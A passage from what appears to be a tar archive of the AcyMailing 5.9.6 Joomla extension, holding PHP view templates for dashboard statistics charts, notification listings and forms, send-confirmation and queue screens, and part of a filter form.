					<div class="acydashboard_progress_block acydashboard_step4">
						<div class="step_image"></div>
						<div class="step_info"><span class="step_title"><?php echo acymailing_translation('SEND_PROCESS'); ?></span><?php echo acymailing_translation('ACY_MAILING_SEND_PROCESS_STEP_DESC'); ?></div>
					</div>
				</a>
			</div>

			<div id="acy_stepbystep"><?php echo acymailing_translation('ACY_STEP_BY_STEP_DESC1').'<br />'.acymailing_translation('ACY_STEP_BY_STEP_DESC2').' '.acymailing_translation('ACY_STEP_BY_STEP_DESC3').'<br />'.acymailing_translation('ACY_STEP_BY_STEP_DESC4'); ?><br/>

				<form target="_blank" action="https://www.acyba.com/index.php?option=com_acymailing&ctrl=sub" method="post">
					<input id="user_name" type="text" name="user[name]" value="" placeholder="<?php echo acymailing_translation('NAMECAPTION'); ?>"/>
					<input id="user_email" type="text" name="user[email]" value="" placeholder="<?php echo acymailing_translation('EMAILCAPTION'); ?>"/>
					<br/>
					<input class="acymailing_button" type="submit" value="<?php echo acymailing_translation('SUBSCRIBE'); ?>" name="Submit"/>
					<input type="hidden" name="acyformname" value="formAcymailing1"/>
					<input type="hidden" name="ctrl" value="sub"/>
					<input type="hidden" name="task" value="optin"/>
					<input type="hidden" name="option" value="com_acymailing"/>
					<input type="hidden" name="visiblelists" value=""/>
					<input type="hidden" name="hiddenlists" value="23"/>
					<input type="hidden" name="redirect" value="https://www.acyba.com"/>
				</form>
			</div>
		</div>
	</div>
</div>
com_acymailing/views/dashboard/tmpl/liststats.php000060400000003415152455305300016323 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
if(empty($this->listStatusData)) echo acymailing_translation("ACY_NO_STATISTICS");
else{

	$data = "['List Name', '".acymailing_translation('UNSUBSCRIBED')."', '".acymailing_translation('PENDING_SUBSCRIPTION')."', '".acymailing_translation('SUBSCRIBED')."',],";
	foreach($this->listStatusData as $listName => $oneStat){
		$data .= "['".addslashes($listName)."', ".(empty($oneStat[-1]) ? 0 : $oneStat[-1]).", ".(empty($oneStat[2]) ? 0 : $oneStat[2]).", ".(empty($oneStat[1]) ? 0 : $oneStat[1]).",],";
	}
	?>

	<script language="JavaScript" type="text/javascript">
		google.load("visualization", "1", {packages: ["corechart"]});
		google.setOnLoadCallback(drawChart);

		function drawChart() {
			var data = google.visualization.arrayToDataTable([

				<?php echo rtrim($data, ','); ?>
			]);

			var container = document.getElementsByClassName('acygraph')[0];
			var width = container.getBoundingClientRect().width;

			var view = new google.visualization.DataView(data);
			var options = {
				height: 450,
				width: width,
				isStacked: true,
				backgroundColor: 'transparent',
				colors: ['#ed8585', '#adccea', '#dde281'],
				hAxis: {slantedText: true, slantedTextAngle: 40, textStyle: {fontSize: 13}}
			};
			var chart = new google.visualization.ColumnChart(document.getElementById("liststats"));
			chart.draw(view, options);
		}
	</script>
	<h1 class="acy_graphtitle"> <?php echo acymailing_translation('ACY_SUB_STATUS_PER_LIST') ?> </h1>
	<div id="liststats" style="text-align:center;margin-bottom:20px"></div>
<?php } ?>
com_acymailing/views/dashboard/tmpl/queuestats.php000060400000004467152455305300016504 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
if(empty($this->newsletters)) echo acymailing_translation("ACY_NO_STATISTICS");
else{ ?>

	<script language="JavaScript" type="text/javascript">
		function statsqueue() {
			var dataTable = new google.visualization.DataTable();

			dataTable.addColumn('date');
			dataTable.addColumn('number', '<?php echo acymailing_translation('ACY_SENT_EMAILS'); ?>');
			dataTable.addColumn('number', '<?php echo acymailing_translation('FAILED'); ?>');

			<?php
			$i = -1;
			$statsdetailsSentDate = '';
			$mindate = 0;
			$maxdate = 0;

			foreach($this->newsletters as $oneResult){
				$date = strtotime(substr($oneResult->send_date,0,4)."-".intval(substr($oneResult->send_date,5,2))."-".substr($oneResult->send_date,8,2));
				if(empty($mindate) || $date < $mindate) $mindate = $date;
				if(empty($maxdate) || $date > $maxdate) $maxdate = $date;



				if($statsdetailsSentDate != $oneResult->send_date){
					$i++;
					echo 'dataTable.addRow();';
					echo "dataTable.setValue($i, 0, new Date(".$date."*1000));";
					$statsdetailsSentDate = $oneResult->send_date;
				}
				echo "dataTable.setValue($i, 1, ".intval(@$oneResult->total)."); ";
				echo "dataTable.setValue($i, 2, ".intval(@$oneResult->nbFailed)."); ";
			}
			?>

			var container = document.getElementsByClassName('acygraph')[0];
			var width = container.getBoundingClientRect().width;

			var vis = new google.visualization.ColumnChart(document.getElementById('statsqueue'));
			var options = {
				height: 400,
				width: width,
				backgroundColor: 'transparent',
				hAxis: {
					format: ' MMM d, y',
					maxValue: new Date(<?php echo $maxdate+86400; ?> * 1000),
					minValue: new Date(<?php echo $mindate-86400; ?> * 1000)
				},
				colors: ['#adccea', '#ed8585']
			};

		vis.draw(dataTable, options);
		}
		google.load("visualization", "1", {packages: ["corechart"]});
		google.setOnLoadCallback(statsqueue);

	</script>
	<h1 class="acy_graphtitle"> <?php echo acymailing_translation('ACY_NEWSLETTER_STATUS') ?> </h1>
	<div id="statsqueue" style="text-align:center;width:100%,margin-bottom:20px"></div>
<?php } ?>
com_acymailing/views/dashboard/tmpl/userlocations.php000060400000004377152455305300017173 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php if(!empty($this->geoloc_details)){
	$config = acymailing_config();
	$google_map_api_key = $config->get('google_map_api_key');
	if(empty($google_map_api_key)){
		acymailing_display('<a href="'.acymailing_completeLink('cpanel').'" onclick="localStorage.setItem(\'acyconfig_tab\', \'config_subscription\');">'.acymailing_translation('ACY_NEED_GOOGLE_MAP_API_KEY').'</a>', 'info');
	}else{ ?>
		<script type="text/javascript" src="https://www.gstatic.com/charts/loader.js"></script>
		<script language="javascript" type="text/javascript">
			google.charts.load('current', {
				packages: ['geochart', 'corechart'],
				mapsApiKey: '<?php echo $google_map_api_key; ?>'
			});
			google.charts.setOnLoadCallback(drawMarkersMap);

			var chart;
			var data;

			var mapOptions = {
				legend: 'none', height: 400, displayMode: 'markers', colorAxis: {colors: ['', '#a8a12c']}, sizeAxis: {minSize: 2, maxSize: 10, minValue: 1, maxValue: 15}, enableRegionInteractivity: 'true', backgroundColor: 'transparent', region: '<?php echo $this->geoloc_region; ?>'
			};
			function drawMarkersMap(){
				data = new google.visualization.DataTable();
				data.addColumn('string', 'Address');
				data.addColumn('number', 'Color');
				data.addColumn('number', 'Size');
				data.addColumn({type: 'string', role: 'tooltip'});
				<?php
				$myData = array();
				foreach($this->geoloc_city as $key => $city){
					$toolTipTxt = str_replace("'", "\'", acymailing_translation('GEOLOC_NB_USERS')).': '.$this->geoloc_details[$key];
					$myData[] = "['".str_replace("'", "\'", $this->geoloc_addresses[$key])."', 1, ".$this->geoloc_details[$key].", '".$toolTipTxt."']";
				}
				echo "data.addRows([".implode(", ", $myData)."]);";
				?>

				chart = new google.visualization.GeoChart(document.getElementById('mapGeoloc_div'));
				chart.draw(data, mapOptions);
			}

		</script>
		<h1 class="acy_graphtitle"><?php echo acymailing_translation_sprintf('ACY_SUBSCRIBERS_LOCATIONS', $this->nbUsersToGet) ?></h1>
		<div id="mapGeoloc_div"></div>
		<?php
	}
} ?>
com_acymailing/views/notification/view.html.php000060400000010673152455305300015775 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
include(ACYMAILING_BACK.'views'.DS.'newsletter'.DS.'view.html.php');

class NotificationViewNotification extends NewsletterViewNewsletter{
	var $type = 'joomlanotification';
	var $ctrl = 'notification';
	var $nameListing = 'JOOMLA_NOTIFICATIONS';
	var $nameForm = 'JOOMLA_NOTIFICATIONS';
	var $doc = 'joomlanotification';
	var $icon = 'joomlanotification';
	var $filters = array();


	function listing(){
		$config = acymailing_config();

		if(!class_exists('plgSystemAcymailingClassMail')){
			$warning_msg = acymailing_translation('ACY_WARNINGOVERRIDE_DISABLED_1').' <a href="'.acymailing_completeLink('cpanel').'">'.acymailing_translation_sprintf('ACY_WARNINGOVERRIDE_DISABLED_2', ' acymailingclassmail (Override Joomla mailing system plugin)').'</a>';
			acymailing_enqueueMessage($warning_msg, 'notice');
		}

		$pageInfo = new stdClass();
		$pageInfo->filter = new stdClass();
		$pageInfo->filter->order = new stdClass();
		$pageInfo->elements = new stdClass();
		$pageInfo->limit = new stdClass();
		$this->filters[] = '`type` = '.acymailing_escapeDB($this->type);

		$paramBase = ACYMAILING_COMPONENT.'.'.$this->getName();
		$pageInfo->filter->order->value = acymailing_getUserVar($paramBase.".filter_order", 'filter_order', 'mailid', 'cmd');
		$pageInfo->filter->order->dir = acymailing_getUserVar($paramBase.".filter_order_Dir", 'filter_order_Dir', 'asc', 'word');
		if(strtolower($pageInfo->filter->order->dir) !== 'asc') $pageInfo->filter->order->dir = 'desc';

		$pageInfo->search = acymailing_getUserVar($paramBase.".search", 'search', '', 'string');
		$pageInfo->search = strtolower(trim($pageInfo->search));
		$pageInfo->limit->value = acymailing_getUserVar($paramBase.'.list_limit', 'limit', acymailing_getCMSConfig('list_limit'), 'int');
		$pageInfo->limit->start = acymailing_getUserVar($paramBase.'.limitstart', 'limitstart', 0, 'int');

		if(!empty($pageInfo->search)){
			$searchVal = '\'%'.acymailing_getEscaped($pageInfo->search, true).'%\'';
			$this->filters[] = "subject LIKE $searchVal OR body LIKE $searchVal";
		}

		$filters = new stdClass();
		if(ACYMAILING_J16){
			$pageInfo->category = acymailing_getUserVar($paramBase.".category", 'category', '0', 'string');
			if(!empty($pageInfo->category)){
				$this->filters[] = "alias LIKE '".acymailing_getEscaped($pageInfo->category, true)."-%'";
			}
			$catvalues = array();
			$catvalues[] = acymailing_selectOption('0', acymailing_translation('ACY_ALL'));
			$catvalues[] = acymailing_selectOption('joomla', 'Joomla!');
			$catvalues[] = acymailing_selectOption('jomsocial', 'JomSocial');
			$catvalues[] = acymailing_selectOption('seblod', 'SEBLOD');
			$filters->category = acymailing_select($catvalues, 'category', 'size="1" style="width:150px" onchange="acymailing.submitform();"', 'value', 'text', $pageInfo->category);
		}

		$query = 'SELECT mailid, subject, alias, fromname, published, fromname, fromemail, replyname, replyemail FROM #__acymailing_mail WHERE ('.implode(') AND (', $this->filters).')';

		if(!empty($pageInfo->filter->order->value)){
			$query .= ' ORDER BY '.$pageInfo->filter->order->value.' '.$pageInfo->filter->order->dir;
		}

		$rows = acymailing_loadObjectList($query, '', $pageInfo->limit->start, $pageInfo->limit->value);

		$queryCount = 'SELECT count(mailid) FROM #__acymailing_mail WHERE ('.implode(') AND (', $this->filters).')';
		$pageInfo->elements->total = acymailing_loadResult($queryCount);
		$pageInfo->elements->page = count($rows);
		$pagination = new acyPagination($pageInfo->elements->total, $pageInfo->limit->start, $pageInfo->limit->value);

		$acyToolbar = acymailing_get('helper.toolbar');
		$acyToolbar->custom('preview', acymailing_translation('ACY_PREVIEW'), 'search', true);
		$acyToolbar->edit();
		$acyToolbar->delete();

		$acyToolbar->divider();
		$acyToolbar->help($this->doc);
		$acyToolbar->setTitle(acymailing_translation($this->nameListing), $this->ctrl);
		$acyToolbar->display();

		$toggleClass = acymailing_get('helper.toggle');
		$this->toggleClass = $toggleClass;
		$this->pageInfo = $pageInfo;
		$this->config = $config;
		$this->rows = $rows;
		$this->pagination = $pagination;
		$this->filters = $filters;
	}

	function form(){
		return parent::form();
	}

	function preview(){
		return parent::preview();
	}

}
com_acymailing/views/notification/tmpl/preview.php000060400000000575152455305300016515 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
<?php include(ACYMAILING_BACK.'views'.DS.'newsletter'.DS.'tmpl'.DS.'preview.php'); ?>
</div>
com_acymailing/views/notification/tmpl/index.html000060400000000054152455305300016310 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/notification/tmpl/form.php000060400000006203152455305300015771 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<div id="iframedoc"></div>
	<div id="acymailing_edit">
		<form action="<?php echo acymailing_completeLink('notification'); ?>" method="post" name="adminForm" id="adminForm" autocomplete="off" enctype="multipart/form-data">

			<div style="float: left; width: 60%;">
				<div class="confirmBoxMM" id="confirmBoxMM" style="display: none;">
					<div id="acy_popup_content">
						<span class="confirmTxtMM" id="confirmTxtMM"></span><br/>
						<button class="acymailing_button" id="confirmCancelMM" onclick="document.getElementById('confirmBoxMM').style.display='none';document.getElementById('modal-background').style.display='none';return false;" style="padding: 6px 15px 6px 10px;">
							<i class="acyicon-cancel" id="cancelSave" style="margin-right: 5px; font-size: 16px;top: 2px; position: relative;"></i><?php echo acymailing_translation('ACY_CANCEL'); ?>
						</button>
						<button class="acymailing_button acymailing_button_delete" id="confirmOkMM" style="padding: 8px 15px 6px 10px;" onclick="acymailing.submitform(pressbutton,document.adminForm)">
							<i class="acyicon-save" id="iconAction" style="margin-right: 5px; font-size: 12px;"></i><span id="textBtnAction"><?php echo acymailing_translation('ACY_SAVE'); ?></span>
						</button>
					</div>
				</div>
				<div id="modal-background" style="display: none;"></div>
				<div class="acyblockoptions acyblock_newsletter">
					<span class="acyblocktitle"><?php echo acymailing_translation('ACY_NEWSLETTER_INFORMATION'); ?></span>
					<?php include(ACYMAILING_BACK.'views'.DS.'newsletter'.DS.'tmpl'.DS.'info.form.php'); ?>
				</div>
				<div class="acyblockoptions acyblock_newsletter" style="width:90%" id="htmlfieldset">
					<span class="acyblocktitle"><?php echo acymailing_translation('HTML_VERSION'); ?></span>
					<?php echo $this->editor->display(); ?>
				</div>
				<div class="acyblockoptions acyblock_newsletter" style="width:90%" id="textfieldset">
					<span class="acyblocktitle"><?php echo acymailing_translation('TEXT_VERSION'); ?></span>
					<textarea style="width:98%" rows="20" name="data[mail][altbody]" id="altbody" placeholder="<?php echo acymailing_translation('AUTO_GENERATED_HTML'); ?>" onClick="zoneToTag='altbody';"><?php echo @$this->mail->altbody; ?></textarea>
				</div>
			</div>

			<div class="acyblockoptions" style="float:left; width:30%">
				<?php include(ACYMAILING_BACK.'views'.DS.'newsletter'.DS.'tmpl'.DS.'param.form.php'); ?>
			</div>


			<div class="clr"></div>
			<input type="hidden" name="cid[]" value="<?php echo @$this->mail->mailid; ?>"/>
			<input type="hidden" id="tempid" name="data[mail][tempid]" value="<?php echo @$this->mail->tempid; ?>"/>
			<input type="hidden" name="data[mail][type]" value="joomlanotification"/>
			<?php if(!empty($this->Itemid)) echo '<input type="hidden" name="Itemid" value="'.$this->Itemid.'" />';
			acymailing_formOptions(); ?>
		</form>
	</div>
</div>
com_acymailing/views/notification/tmpl/listing.php000060400000010111152455305300016470 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<div id="iframedoc"></div>
	<form action="<?php echo acymailing_completeLink('notification'); ?>" method="post" name="adminForm" id="adminForm">
		<table class="acymailing_table_options">
			<tr>
				<td width="100%">
					<?php acymailing_listingsearch($this->pageInfo->search); ?>
				</td>
				<td nowrap="nowrap">
					<?php if(!empty($this->filters->category)) echo $this->filters->category; ?>
				</td>
			</tr>
		</table>
		<table class="acymailing_table" cellpadding="1">
			<thead>
			<tr>
				<th class="title titlebox">
					<input type="checkbox" name="toggle" value="" onclick="acymailing.checkAll(this);"/>
				</th>
				<th class="title">
					<?php echo acymailing_gridSort(acymailing_translation('JOOMEXT_SUBJECT'), 'subject', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
				<th class="title">
					<?php echo acymailing_gridSort(acymailing_translation('JOOMEXT_ALIAS'), 'alias', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
				<th class="title titlesender">
					<?php echo acymailing_gridSort(acymailing_translation('SENDER_INFORMATIONS'), 'fromname', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
				<th class="title titletoggle">
					<?php echo acymailing_gridSort(acymailing_translation('ACY_PUBLISHED'), 'published', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
				<th class="title titleid">
					<?php echo acymailing_gridSort(acymailing_translation('ACY_ID'), 'mailid', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
			</tr>
			</thead>
			<tfoot>
			<tr>
				<td colspan="7">
					<?php echo $this->pagination->getListFooter();
					echo $this->pagination->getResultsCounter(); ?>
				</td>
			</tr>
			</tfoot>
			<tbody>
			<?php
			$k = 0;

			for($i = 0, $a = count($this->rows); $i < $a; $i++){
				$row =& $this->rows[$i];
				$publishedid = 'published_'.$row->mailid;
				?>
				<tr class="<?php echo "row$k"; ?>">
					<td align="center" style="text-align:center">
						<?php echo acymailing_gridID($i, $row->mailid); ?>
					</td>
					<td>
						<?php
						$subjectLine = str_replace('<ADV>', $this->escape('<ADV>'), $row->subject);
						echo acymailing_tooltip('<b>'.acymailing_translation('JOOMEXT_ALIAS').' : </b>'.$row->alias, ' ', '', $subjectLine, acymailing_completeLink('notification&task=edit&mailid='.$row->mailid)); ?>
					</td>
					<td><?php echo $row->alias; ?></td>
					<td align="center" style="text-align:center">
						<?php
						if(empty($row->fromname)) $row->fromname = $this->config->get('from_name');
						if(empty($row->fromemail)) $row->fromemail = $this->config->get('from_email');
						if(empty($row->replyname)) $row->replyname = $this->config->get('reply_name');
						if(empty($row->replyemail)) $row->replyemail = $this->config->get('reply_email');
						if(!empty($row->fromname)){
							$text = '<b>'.acymailing_translation('FROM_NAME').' : </b>'.$row->fromname;
							$text .= '<br /><b>'.acymailing_translation('FROM_ADDRESS').' : </b>'.$row->fromemail;
							$text .= '<br /><br /><b>'.acymailing_translation('REPLYTO_NAME').' : </b>'.$row->replyname;
							$text .= '<br /><b>'.acymailing_translation('REPLYTO_ADDRESS').' : </b>'.$row->replyemail;
							echo acymailing_tooltip($text, ' ', '', $row->fromname);
						}
						?>
					</td>
					<td align="center" style="text-align:center">
						<span id="<?php echo $publishedid ?>" class="loading"><?php echo $this->toggleClass->toggle($publishedid, (int)$row->published, 'mail') ?></span>
					</td>
					<td width="1%" align="center">
						<?php echo $row->mailid; ?>
					</td>
				</tr>
			<?php } ?>
			</tbody>
		</table>

		<?php acymailing_formOptions($this->pageInfo->filter->order); ?>
	</form>
</div>
com_acymailing/views/notification/index.html000060400000000054152455305300015334 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/send/view.html.php000060400000002125152455305300014231 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php


class SendViewSend extends acymailingView{

	function display($tpl = null){
		$function = $this->getLayout();
		if(method_exists($this, $function)) $this->$function();

		parent::display($tpl);
	}

	function sendconfirm(){

		$mailid = acymailing_getCID('mailid');
		$mailClass = acymailing_get('class.mail');
		$listmailClass = acymailing_get('class.listmail');
		$queueClass = acymailing_get('class.queue');
		$mail = $mailClass->get($mailid);

		$values = new stdClass();
		$values->nbqueue = $queueClass->nbQueue($mailid);

		if(empty($values->nbqueue)){
			$lists = $listmailClass->getReceivers($mailid);
			$this->lists = $lists;

			$values->alreadySent = acymailing_loadResult('SELECT count(subid) FROM `#__acymailing_userstats` WHERE `mailid` = '.intval($mailid));
		}

		$this->values = $values;
		$this->mail = $mail;
	}


}
com_acymailing/views/send/index.html000060400000000054152455305300013577 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/send/tmpl/sendconfirm.php000060400000011641152455305300015602 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<div id="iframedoc"></div>
	<form action="<?php echo acymailing_completeLink('send'); ?>" method="post" name="adminForm" id="adminForm" autocomplete="off">
		<div>
			<?php $displayWarning = false;
			$config = acymailing_config();
			$toggleClass = acymailing_get('helper.toggle');
			if(empty($this->values->nbqueue)){
				if(!empty($this->lists)){
					?>
					<div class="onelineblockoptions">
						<span class="acyblocktitle"><?php echo acymailing_translation('NEWSLETTER_SENT_TO'); ?></span>
						<table class="acymailing_table" cellspacing="1" align="center">
							<tbody>
							<?php
							$k = 0;
							$listids = array();
							foreach($this->lists as $row){
								$listids[] = $row->listid;
								if($row->nbsub > 100) $displayWarning = true;
								?>
								<tr class="<?php echo "row$k"; ?>">
									<td>
										<?php
										echo acymailing_tooltip($row->description, $row->name, 'tooltip.png', $row->name);
										echo ' ( '.acymailing_translation_sprintf('ACY_SELECTED_USERS', $row->nbsub).' )';
										?>
									</td>
								</tr>
								<?php
								$k = 1 - $k;
							} ?>
							</tbody>
						</table>
						<?php
						$filterClass = acymailing_get('class.filter');

						if(!empty($this->mail->filter)){
							$resultFilters = $filterClass->displayFilters($this->mail->filter);
							if(!empty($resultFilters)){
								echo '<br />'.acymailing_translation('RECEIVER_LISTS').'<br />'.acymailing_translation('FILTER_ONLY_IF');
								echo '<ul><li>'.implode('</li><li>', $resultFilters).'</li></ul>';
							}
						}

						$nbTotalReceivers = $nbTotalReceiversAll = $filterClass->countReceivers($listids, $this->mail->filter);
						?>
					</div>
					<?php if(!empty($this->values->alreadySent)){
						$filterClass->onlynew = true;
						$nbTotalReceivers = $nbTotalReceiversAlready = $filterClass->countReceivers($listids, $this->mail->filter, $this->mail->mailid);
						acymailing_display(acymailing_translation_sprintf('ALREADY_SENT', $this->values->alreadySent).'<br />'.acymailing_translation('REMOVE_ALREADY_SENT').'<br />'.acymailing_boolean("onlynew", 'onclick="if(this.value == 1){document.getElementById(\'nbreceivers\').innerHTML = \''.$nbTotalReceiversAlready.'\';}else{document.getElementById(\'nbreceivers\').innerHTML = \''.$nbTotalReceiversAll.'\'}"', 1, acymailing_translation('JOOMEXT_YES'), acymailing_translation('SEND_TO_ALL')), 'warning');
					}elseif($displayWarning){

						if($config->get('warninglimitation', 1)){
							$notremind = '<small style="float:right;margin-right:30px;position:relative;">'.$toggleClass->delete('acymailing_messages_warning', 'warninglimitation_0', 'config', false, acymailing_translation('DONT_REMIND')).'</small>';
							acymailing_display(acymailing_translation('WARNING_LIMITATION').'<br /><a target="_blank" href="'.ACYMAILING_HELPURL.'send-process">'.acymailing_translation('WARNING_LIMITATION_CONFIG').'</a>'.$notremind, 'warning');
						}
					}
				}else{
					acymailing_display(acymailing_translation('EMAIL_AFFECT'), 'warning');
				}
			}else{
				acymailing_display(acymailing_translation_sprintf('NB_PENDING_EMAIL', $this->values->nbqueue, '<b><i>'.$this->mail->subject.'</i></b>').'<br />'.acymailing_translation('SEND_CONTINUE'), 'info');
				?>
				<input type="hidden" name="totalsend" value="<?php echo $this->values->nbqueue; ?>"/>
			<?php
			}
			?>
			<?php if(!empty($this->mail->mailid) AND (!empty($this->lists) OR !empty($this->values->nbqueue))){
				if(!acymailing_level(1) && $config->get('warningautomaticprocess', 1)){
					$notremind = '<small style="float:right;margin-right:30px;position:relative;">'.$toggleClass->delete('acymailing_messages_warning', 'warningautomaticprocess_0', 'config', false, acymailing_translation('DONT_REMIND')).'</small>';
					acymailing_display(acymailing_translation('ACY_WARNING_FREESENDPROCESS').$notremind, 'warning');
				}

				?>
				<div style="text-align:center;font-size:14px;padding:20px;">
					<?php if(empty($this->values->nbqueue)) echo acymailing_translation_sprintf('SENT_TO_NUMBER', '<span style="font-weight:bold;" id="nbreceivers" >'.$nbTotalReceivers.'</span>').'<br />'; ?>
					<input onclick="document.adminForm.task.value='<?php echo empty($this->values->nbqueue) ? 'send' : 'continuesend'; ?>';" class="acymailing_button" style="padding:10px 30px;margin:5px;font-size:14px;cursor:pointer;" type="submit" value="<?php echo empty($this->values->nbqueue) ? acymailing_translation('SEND') : acymailing_translation('CONTINUE') ?>"/>
				</div>
			<?php } ?>
		</div>
		<div class="clr"></div>
		<input type="hidden" name="cid[]" value="<?php echo $this->mail->mailid; ?>"/>
		<?php acymailing_formOptions(); ?>
	</form>
</div>
com_acymailing/views/send/tmpl/index.html000060400000000054152455305300014553 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/send/tmpl/addqueue.php000060400000003150152455305300015064 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><form action="<?php echo acymailing_completeLink('send', true); ?>" method="post" name="adminForm" id="adminForm" autocomplete="off">
	<div class="onelineblockoptions">
		<table class="acymailing_table">
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation('ACY_USER'); ?>
				</td>
				<td>
					<?php echo acymailing_tooltip('Name : '.$this->subscriber->name.'<br />ID : '.$this->subscriber->subid, $this->subscriber->email, 'tooltip.png', $this->subscriber->email); ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation('NEWSLETTER'); ?>
				</td>
				<td>
					<?php echo $this->emaildrop; ?>
				</td>
			</tr>
			<tr>
				<td class="acykey">
					<?php echo acymailing_translation('SEND_DATE'); ?>
				</td>
				<td>
					<?php echo acymailing_calendar(acymailing_getDate(time(), '%Y-%m-%d'), 'senddate', 'senddate', '%Y-%m-%d', array('style' => 'width:100px'));
					echo '&nbsp; @ '.$this->hours.' : '.$this->minutes; ?>
				</td>
			</tr>
			<tr>
				<td>
				</td>
				<td>
					<button class="acymailing_button" onclick="document.adminForm.task.value='scheduleone';" type="submit"><?php echo acymailing_translation('SCHEDULE'); ?></button>
				</td>
			</tr>
		</table>
	</div>
	<input type="hidden" name="subid" value="<?php echo $this->subscriber->subid; ?>"/>
	<?php acymailing_formOptions(); ?>
</form>
com_acymailing/views/filter/index.html000060400000000054152455305300014133 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/filter/tmpl/index.html000060400000000054152455305300015107 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/filter/tmpl/form.php000060400000022745152455305300014601 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
	div.plugarea{
		padding: 5px;
	}
</style>
<div id="acy_content">
	<div id="iframedoc"></div>
	<div id="acybase_filters" style="display:none">
		<div id="filters_original">
			<?php echo acymailing_select($this->typevaluesFilters, "filter[type][__block__][__num__]", 'class="inputbox chzn-done" size="1" onchange="updateFilter(__num__);countresults(__num__);"', 'value', 'text', '', 'filtertype__num__'); ?>
			<span id="countresult___num__"></span>

			<div class="acyfilterarea" id="filterarea___num__"></div>
		</div>
		<?php echo $this->outputFilters; ?>
		<div id="actions_original">
			<?php echo acymailing_select($this->typevaluesActions, "action[type][0][__num__]", 'class="inputbox chzn-done" size="1" onchange="updateAction(__num__);"', 'value', 'text', '', 'actiontype__num__'); ?>
			<div class="acyfilterarea" id="actionarea___num__"></div>
		</div>
		<?php echo $this->outputActions; ?>
	</div>
	<?php if(!empty($this->filteredUsers)){ ?>
		<div class="acyblockoptions" id="filteredUsers">
			<span class="acyblocktitle"><?php
				$usersCount = $this->filteredUsers['countTotal'];
				echo acymailing_translation_sprintf('ACY_FILTEREDUSERS', count($this->filteredUsers['users']), $usersCount); ?>
			</span>

			<div id="acyFilteredUsers">
				<table class="acymailing_table" id="filteredUsersTable">
					<thead>
					<tr>
						<th class="title titlenum"><?php echo acymailing_translation('ACY_ID'); ?></th>
						<th class="title titlenum"><?php echo acymailing_translation('JOOMEXT_NAME'); ?></th>
						<th class="title titlenum"><?php echo acymailing_translation('JOOMEXT_EMAIL'); ?></th>
					</tr>
					</thead>
					<tbody>
					<?php
					$k = 0;
